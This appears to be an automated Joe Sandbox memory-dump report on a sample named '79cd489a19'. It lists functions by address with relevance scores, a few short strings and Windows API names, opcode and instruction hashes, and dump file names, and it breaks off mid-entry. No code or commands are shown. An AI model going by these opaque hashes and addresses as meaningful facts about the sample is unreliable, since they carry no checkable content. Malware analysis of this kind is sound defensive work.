Instruction ID: e498625d01ee3d1f3e46319c947d8b437703da9838938e140ba055eddca81bbf
Opcode Fuzzy Hash: 3108ee8bd75bcaa576665ef9aa54060a779b740647acd5f6013086a028e52314
Instruction Fuzzy Hash: 4501D678A012288FD754DF28D899A89BBB1FF8C315F1080E5E809A7795CB30AE80CF00

Function 056E382A Relevance: 2.5, Strings: 2, Instructions: 28COMMON

Download Yara Rule

Strings

xw, xrefs: 056E387C
xw, xrefs: 056E3836

Memory Dump Source

Source File: 0000000A.00000002.2468459864.00000000056E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_56e0000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw$xw
API String ID: 0-1196205626
Opcode ID: f28928deea6f1c471b82167dd881151b4598f3cfa0110fd70ea125165fc618aa
Instruction ID: fd92a5c0239621ffa8fc87a9fd9ac4f23a95cd196fa9ae29a899fb0148b93c02
Opcode Fuzzy Hash: f28928deea6f1c471b82167dd881151b4598f3cfa0110fd70ea125165fc618aa
Instruction Fuzzy Hash: 2201D674A011288FC754DF28D945A89BBF1FF88301F54D0E9E849A7794DF30AD448F40

Function 056E5055 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

xw, xrefs: 056E5075
xw, xrefs: 056E50A2

Memory Dump Source

Source File: 0000000A.00000002.2468459864.00000000056E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_56e0000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw$xw
API String ID: 0-1196205626
Opcode ID: f4f15a43fd1aae54bb6270898c027e1ce31800f183f4cf9fa2fb97c1f81b77a0
Instruction ID: 17f68f645a3bd307b952db516a550b1de5e79666e11d0798ac971c4c30cd8514
Opcode Fuzzy Hash: f4f15a43fd1aae54bb6270898c027e1ce31800f183f4cf9fa2fb97c1f81b77a0
Instruction Fuzzy Hash: 8001F2B4A021158FD758DF18D944AAA77F5FF89302F5052A9E909E77A6CB30AD40CF01

Function 056E26A8 Relevance: 2.5, Strings: 2, Instructions: 22COMMON

Download Yara Rule

Strings

xw, xrefs: 056E26B4
xw, xrefs: 056E26E1

Memory Dump Source

Source File: 0000000A.00000002.2468459864.00000000056E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_56e0000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw$xw
API String ID: 0-1196205626
Opcode ID: 718fbbf69e34fe37bd65cadac4b266d7b593cc292583e94003ebf40f8a73b4ee
Instruction ID: 98635e72fd7aa14ae2a922b01f5e2363af5da91ac35d4c09881776faa2c04d2c
Opcode Fuzzy Hash: 718fbbf69e34fe37bd65cadac4b266d7b593cc292583e94003ebf40f8a73b4ee
Instruction Fuzzy Hash: 6EF05834A042088FC755EF58E959BDA77F5FB8C301F1081A4F509A7788CB34AE448F00

Function 054D98B9 Relevance: 2.0, APIs: 1, Instructions: 514COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000), ref: 054D9C9E

Memory Dump Source

Source File: 0000000A.00000002.2467278181.00000000054D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54d0000_79cd489a19.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b60e6c25c6ed77db4578feb970c9a612c178cec4a3e96c42745e25196b4e50a9
Instruction ID: 0108e4cbe19cc8f5fa6b0ab72483afa3a3a207079a645a454a0d96f9f4961162
Opcode Fuzzy Hash: b60e6c25c6ed77db4578feb970c9a612c178cec4a3e96c42745e25196b4e50a9
Instruction Fuzzy Hash: 622124B19047898FDB20CF99C4497EEBFF4AB09314F18845AD459EB350C779A584CBA1

Function 054C4480 Relevance: 1.8, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

(_^q, xrefs: 054C4710

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: (_^q
API String ID: 0-538443824
Opcode ID: 91763fd6c72e8bf67c794bd293c72233652a08e16a87bd821db5910917118f84
Instruction ID: ae4cef5ae51ba29d7bb706449f5b6c150ab20387c21cf5a94bb76e22f53ea13f
Opcode Fuzzy Hash: 91763fd6c72e8bf67c794bd293c72233652a08e16a87bd821db5910917118f84
Instruction Fuzzy Hash: C1229D39A002049FDB54DF68D594AADBBF2FF88311F1481AAE905EB3A5CB71ED41CB50

Function 054CB10C Relevance: 1.6, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

,bq, xrefs: 054CAE59

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: ,bq
API String ID: 0-2474004448
Opcode ID: cf1e42ae23caa5aaaf9b7e17a05006a95ce2f9d4f8da0eadc1fe7df95871d40e
Instruction ID: b8b7df5a596c60e3a77ac19334da90d6d82334df32982ecb400f86dd17ee3850
Opcode Fuzzy Hash: cf1e42ae23caa5aaaf9b7e17a05006a95ce2f9d4f8da0eadc1fe7df95871d40e
Instruction Fuzzy Hash: FFE1E275A102288FDB64CF69C985BDDBBF2BF88300F5541EAE509A7351DA309E81CF61

Function 02AA9FB0 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 02AAA024

Memory Dump Source

Source File: 0000000A.00000002.2457272764.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2aa0000_79cd489a19.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8a7602687be567c5a2cccd2ed3f101e497f13be99b8ee838e01e8043b92e4ba8
Instruction ID: 2424f6b5ba04dee29635dd1f0bdbc42888097cf62453bc2cc690a2efe64087f5
Opcode Fuzzy Hash: 8a7602687be567c5a2cccd2ed3f101e497f13be99b8ee838e01e8043b92e4ba8
Instruction Fuzzy Hash: CF11F4B19002499FCB10DFAAC485ADEFBF4EF48324F10842AD459A7250CB75A944CFA5

Function 054D9C50 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000), ref: 054D9C9E

Memory Dump Source

Source File: 0000000A.00000002.2467278181.00000000054D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54d0000_79cd489a19.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: c71a3d07183ce06a2a2a61d83831a5843ed7bf3b611df97b41fc1f67fab2cecf
Instruction ID: b3742bcf40843f96b63efca2ad7086e00234c4494e764eb74da9613cb464841a
Opcode Fuzzy Hash: c71a3d07183ce06a2a2a61d83831a5843ed7bf3b611df97b41fc1f67fab2cecf
Instruction Fuzzy Hash: 17213FB08007498FDB20CF9AC0497EEFFF4AB08314F24841AE45AA7350C7796584CFA1

Function 054C9BF2 Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

4'^q, xrefs: 054C9E1A

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: db9e8c507cbf7722089fcebee29aa217da2b343efed7dce311d819d7a910141e
Instruction ID: 2c4916eb0d8a1e409564500416a5605076ad2c87cef7aef3ff2bcb54a78b04e7
Opcode Fuzzy Hash: db9e8c507cbf7722089fcebee29aa217da2b343efed7dce311d819d7a910141e
Instruction Fuzzy Hash: CBB1DD38A10218DFCB48DFA4D9989DDBBB2FF89301F158199E506AB365DB31EC46CB40

Function 05304BF0 Relevance: 1.5, Strings: 1, Instructions: 227COMMON

Download Yara Rule

Strings

Deq, xrefs: 05304C85

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: Deq
API String ID: 0-948982800
Opcode ID: 32a483f5e1c0c0561a4c25b1c9882b4927dc06ba20cab3bb5fb5f43450213d3e
Instruction ID: 529f1aa502e70237958d1aa7777e3de3f61f10b73b768e03c4c3016d68c688f8
Opcode Fuzzy Hash: 32a483f5e1c0c0561a4c25b1c9882b4927dc06ba20cab3bb5fb5f43450213d3e
Instruction Fuzzy Hash: 5491BF34A006008FCB24EF29D654A5ABBF2FF88714F1586A8E505EB7A5DB70ED41CF90

Function 054CCAAA Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

Hbq, xrefs: 054CCB44

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: a85ea585b4d067b6a7ad55b77b1f168a06e983cc449b3929d34a8a6de78e19c2
Instruction ID: 1bdbe52c88e801fa2325407ea00a2f4b0a43a8ab054c0828fd0078deb783be74
Opcode Fuzzy Hash: a85ea585b4d067b6a7ad55b77b1f168a06e983cc449b3929d34a8a6de78e19c2
Instruction Fuzzy Hash: 3E518275B005158FC744EF68C5949AEBBB1FF89310B1141EAE50ADB361DB31ED06CB91

Function 0530ED80 Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

pbq, xrefs: 0530EE30

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: pbq
API String ID: 0-3896149868
Opcode ID: d6e10dbfc62664a65f3f5fc5942d8303bfde22f00a4579d8a6929ff7a58e7cd9
Instruction ID: 6ff6074a41484af5a33e0eb18f827e5b03702ce25a0c23262b3756f5f63cdc30
Opcode Fuzzy Hash: d6e10dbfc62664a65f3f5fc5942d8303bfde22f00a4579d8a6929ff7a58e7cd9
Instruction Fuzzy Hash: 38515D76600104AFCB499FA8D915D69BBF7FF8C31471A8494E2099F376DA32DC22EB50

Function 0530A13B Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

Te^q, xrefs: 0530A1BB

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 7e40d2f5da728a6c6463d5ccd943a1a707d1084eaa3f465b2bbbf750e4a3fe3e
Instruction ID: af85d0fec9f7a9a6809dfed255ac92528e58c69cdfdb643b487410c5a8bf2155
Opcode Fuzzy Hash: 7e40d2f5da728a6c6463d5ccd943a1a707d1084eaa3f465b2bbbf750e4a3fe3e
Instruction Fuzzy Hash: 7951E130704300CFD718DB2AE569B6A73F7BB88314F5A606AD0029BEE5CBB59C81CB45

Function 054CE750 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

(bq, xrefs: 054CE87C

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 14b34079a8b0d3ff910c46d73d257885b95d37a4d7d15613fd3a16492cf1cca6
Instruction ID: bfb3e8edcfe0f132ce26fb3eaaed0b03b4144c96f6cacf23d14f8b76f294b14d
Opcode Fuzzy Hash: 14b34079a8b0d3ff910c46d73d257885b95d37a4d7d15613fd3a16492cf1cca6
Instruction Fuzzy Hash: B2416E36714104AFCB469FA8E854E5A7FB6FF89310B1680EAE605DB372CB31D811DB50

Function 054CD707 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

4'^q, xrefs: 054CD74A

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 6cefe80810a2f32701df44257a7171abde1dac84cb27f6a25fe91e4e33f4713d
Instruction ID: 6aa230120174f4329e8924f675f23ecb38c56496d4247f1ccc279f2c47b3b048
Opcode Fuzzy Hash: 6cefe80810a2f32701df44257a7171abde1dac84cb27f6a25fe91e4e33f4713d
Instruction Fuzzy Hash: 5941A938B106149FCB48EB65D4586AEBBB7AFC8700F1045AEE0079B394CF74AC46C791

Function 0530FD90 Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

(bq, xrefs: 0530FDA4

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 1873f9a818ce6ebf48dfd8f8ef50b66835764aa3ff8ae22c473a779f099c5ce5
Instruction ID: 4e53c7d690372a580f5cc54595b42d48094f008be207a24310e4338d31fcd7c8
Opcode Fuzzy Hash: 1873f9a818ce6ebf48dfd8f8ef50b66835764aa3ff8ae22c473a779f099c5ce5
Instruction Fuzzy Hash: 08419D35A00616CFCB20CF58C494A6AFBB2FF89320F159655E529AB391D730F852CBD0

Function 054C907A Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

4'^q, xrefs: 054C90C1

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 9a8bcbe30197ba836ad9bf02acf564a4d2e75eb060d22ae85952ab2aa6d1c98c
Instruction ID: c35b3a9fe6a08257ae122dab8d5af2e1247ec8cc600cb8d3bff4d8d8dc8829c0
Opcode Fuzzy Hash: 9a8bcbe30197ba836ad9bf02acf564a4d2e75eb060d22ae85952ab2aa6d1c98c
Instruction Fuzzy Hash: EB318135B00204AFDF098F64D85899ABFB7FF89310F1545A9EA069B3A5CE71DC42CB50

Function 054C37D0 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

p<^q, xrefs: 054C381A

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: p<^q
API String ID: 0-1680888324
Opcode ID: 9f4e5254b362e125ca3007d7b017ab7bf656feefc36fad02a186fc71761f4f0e
Instruction ID: f2a95adbb761c6fb3b5df8bf15636a8dae4abd8ed83ec7ef2c4c0fcc1b6579cc
Opcode Fuzzy Hash: 9f4e5254b362e125ca3007d7b017ab7bf656feefc36fad02a186fc71761f4f0e
Instruction Fuzzy Hash: 9B213A357042449FCB45CF2AD844AEA7FE6BF8A250B1584DAF845CB3B1C635DC51CB20

Function 054C37E0 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<^q, xrefs: 054C381A

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: p<^q
API String ID: 0-1680888324
Opcode ID: 85484e0c758e9a62e92e5bc5611bdcf204ae98ae8268761b8a1f32943e0c5643
Instruction ID: 717934acccdce066bfd1cb980c146706fda2093c4070b0943fac62b6c27b01c2
Opcode Fuzzy Hash: 85484e0c758e9a62e92e5bc5611bdcf204ae98ae8268761b8a1f32943e0c5643
Instruction Fuzzy Hash: 09214C393042549FCB55CF2AC844AAA7FEABF89250B0984DAFC45CB3A1CA35DC51CB70

Function 0530F538 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

(w, xrefs: 0530F5E3

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: (w
API String ID: 0-3041452326
Opcode ID: 89699201c7008d2a43f7365d8660fb37b68d3ecdbb6580195a33e47d65c0f26b
Instruction ID: d368f1e2ceaf73b5b216b53b2d608a4144c3f430a5f5ca77958a4d48124e9202
Opcode Fuzzy Hash: 89699201c7008d2a43f7365d8660fb37b68d3ecdbb6580195a33e47d65c0f26b
Instruction Fuzzy Hash: DD213D35A10208DFCB158F68D458ADEBFB6EF8C320F149129E911A73A0DF719845CB90

Function 05090B0C Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05091CDE

Memory Dump Source

Source File: 0000000A.00000002.2464120306.0000000005090000.00000040.00000800.00020000.00000000.sdmp, Offset: 05090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5090000_79cd489a19.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 5c8285d0a19dbef4dc43dc0dd6b65064f0a6d296d9fafe8ab73722239941a482
Instruction ID: 8284ef779313fb34a80df787c5a106ede9fcdce435027039ac269737b7e1a48b
Opcode Fuzzy Hash: 5c8285d0a19dbef4dc43dc0dd6b65064f0a6d296d9fafe8ab73722239941a482
Instruction Fuzzy Hash: 1D11C871F193558FCF1E4B60B8287BD7BB2FF81750F0504AAD802A7285CB754845E791

Function 02AAA160 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 02AAA1C2

Memory Dump Source

Source File: 0000000A.00000002.2457272764.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2aa0000_79cd489a19.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 79dd7d5b243ef577e0e86831243d8bc75953040a270e609f1438c51b2253ac48
Instruction ID: 80624babc587990a5edf0d13028dfa840e6b2b7a8a451d7712cebd14666c58f9
Opcode Fuzzy Hash: 79dd7d5b243ef577e0e86831243d8bc75953040a270e609f1438c51b2253ac48
Instruction Fuzzy Hash: 1B113AB19002488FCB20DFAAC4457DFFBF4EF88324F208829D459A7250CB75A544CF94

Function 05300E3C Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

xw, xrefs: 053014CB

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw
API String ID: 0-2371563245
Opcode ID: 4e863be5fcd5a5a7ae85aaaf53848ff9f5dde5e02fe3a19137250365e1170619
Instruction ID: a633b9cfd2f764f38155409d43ccd354d4ff14afd0392792108141228eafc08f
Opcode Fuzzy Hash: 4e863be5fcd5a5a7ae85aaaf53848ff9f5dde5e02fe3a19137250365e1170619
Instruction Fuzzy Hash: D4F09A30E00311CBEB18DF76D868BBFB7B6BB48341F405565E84AA3694EB789C01CB91

Function 056E7575 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

xw, xrefs: 056E759B

Memory Dump Source

Source File: 0000000A.00000002.2468459864.00000000056E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_56e0000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw
API String ID: 0-2371563245
Opcode ID: 8f6e08628853aa47b45dac8030f3782484be3395667cc65ac2ef48458460a18d
Instruction ID: 4da641e43eb14ee32a76f6a10b79789c1de45756f1a6a88c800cbc2560b703ff
Opcode Fuzzy Hash: 8f6e08628853aa47b45dac8030f3782484be3395667cc65ac2ef48458460a18d
Instruction Fuzzy Hash: F9F09030909150CFD7159F64E44D65D7B79FB51349F4480F2AC496B286DB358E01CF50

Function 056E1BE7 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

xw, xrefs: 056E1C2C

Memory Dump Source

Source File: 0000000A.00000002.2468459864.00000000056E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_56e0000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw
API String ID: 0-2371563245
Opcode ID: 8547bf763640b1b57a2518f343ee9e3a822ce985bfff25d43824175f0b8c4593
Instruction ID: 1126d3da6feae62fe7e36e9387452ac6c5ec1641277674e456ed9c39b46a7261
Opcode Fuzzy Hash: 8547bf763640b1b57a2518f343ee9e3a822ce985bfff25d43824175f0b8c4593
Instruction Fuzzy Hash: F3F0F474A112148FC718EF68D588A997BF2FB88711F144598E85ABB395CB70AD84CF50

Function 056E37EA Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

xw, xrefs: 056E387C

Memory Dump Source

Source File: 0000000A.00000002.2468459864.00000000056E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_56e0000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw
API String ID: 0-2371563245
Opcode ID: 6f4c9c5cd5f56148b012bbabd95b8aac360d7f1429c45915fe3fb78e36ef1033
Instruction ID: 3ef137a02f8f772b6c06e4e9aff57f8a5efc5a1af0b48b3ef39fe3a508e3a658
Opcode Fuzzy Hash: 6f4c9c5cd5f56148b012bbabd95b8aac360d7f1429c45915fe3fb78e36ef1033
Instruction Fuzzy Hash: 75F0E5B0D091108FC759CB24C548685BBF5FF45305F0880E5D849BB28ACA740A45CF50

Function 056E6AB0 Relevance: 1.3, Strings: 1, Instructions: 12COMMON

Download Yara Rule

Strings

xw, xrefs: 056E6AB3

Memory Dump Source

Source File: 0000000A.00000002.2468459864.00000000056E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_56e0000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw
API String ID: 0-2371563245
Opcode ID: cbf4c6c1259618fd95cead977da084429d52163e12630aafad441d0f5512350e
Instruction ID: d5d5026f62eea8b00da89c2fedb6ac950695d05a4bd3507b1cfc420f709048d9
Opcode Fuzzy Hash: cbf4c6c1259618fd95cead977da084429d52163e12630aafad441d0f5512350e
Instruction Fuzzy Hash: 3CD0233950C2004FC3019A50F01D3593AB2D79C310F054021B80563BD5C8241C45CBA1

Function 054CD950 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caf2e41e4f85e7f8fdcf6a16d28d1eaff22e663c3ad605fa97873345d397cd6d
Instruction ID: 41357d83bf3eaf00b8bf845693402842d956eb198a680c5bc85d782d182f7c81
Opcode Fuzzy Hash: caf2e41e4f85e7f8fdcf6a16d28d1eaff22e663c3ad605fa97873345d397cd6d
Instruction Fuzzy Hash: 3A12D738A102188FCB54EF65C898A9DBBB2BF89300F5185EDD44AAB355DF71ED85CB40

Function 054C0040 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0897ce915e847cdfc2082f1daf53c4ebc26205119800e901c422f7d4fb894e08
Instruction ID: 1f9bff7e583580d0b209a4ed12cebb325f3de43b0c723812f193197d164748d0
Opcode Fuzzy Hash: 0897ce915e847cdfc2082f1daf53c4ebc26205119800e901c422f7d4fb894e08
Instruction Fuzzy Hash: 0C917D39B01204DFCB05CFA5E559AEEBBB6BF88311F1580AAE4169B391DB31DD41CB50

Function 054CD940 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35d92ac2685287f915753923027795708773755785eaada6911fc6bb006bf565
Instruction ID: 9859e87d4e0181b3dab7ef8e134c2e47654c77b51e6131bef68038bd52b2a5f6
Opcode Fuzzy Hash: 35d92ac2685287f915753923027795708773755785eaada6911fc6bb006bf565
Instruction Fuzzy Hash: 5FA1D734B002188FDB54DF25C898B99BBB2BF89300F5185E9E44AAB355DF71AD86CF40

Function 054C5909 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b280ad886eec87e76acb4db34ada49cf29f973cde1ea754f5ba8153f6c4ee8
Instruction ID: 2f9c80f273e8eee850edccebd1c68c71ed8160d2157853e4da8fff48cb94b764
Opcode Fuzzy Hash: 81b280ad886eec87e76acb4db34ada49cf29f973cde1ea754f5ba8153f6c4ee8
Instruction Fuzzy Hash: A0910879A00218CFCB54DF69C58499EBBF6FF89310B1585AAE8169B361DB30FD41CB90

Function 054C3903 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f68bf8c9c034f9f844142e8a157f1b671538d9806c608333d8205057bc45f0a9
Instruction ID: fef4a20ed58088f828747cc7b4342dfb246847506509a02f73ecea931de0e3c6
Opcode Fuzzy Hash: f68bf8c9c034f9f844142e8a157f1b671538d9806c608333d8205057bc45f0a9
Instruction Fuzzy Hash: 63A15E34E006198FCB51DFA5D944AFEBFB1BF88304F14899AE851B7395DB389A06CB50

Function 054CE212 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f59f411a061295456c9ffa914dd9eda234c98b6d1cd6ad8d0a943f2f3e8a06b5
Instruction ID: aeaee0dfc7fbfcaf19358c453a85873c419ccd5483e9c040d35fd2ab86a60c4f
Opcode Fuzzy Hash: f59f411a061295456c9ffa914dd9eda234c98b6d1cd6ad8d0a943f2f3e8a06b5
Instruction Fuzzy Hash: 9AA1BD38A11208DFCB48EF65E4989DDBB72FF89311F5085A9F81267364DB31AC82DB50

Function 054CE8E8 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4c50528182f55166f656df3c9dc0bbc0a92a7d4d389f3b94ef080340dfcb6c8
Instruction ID: 292bf1a00b9c482197c40cecdea96f691f75ecb9169fda1978b5d6ae293f6644
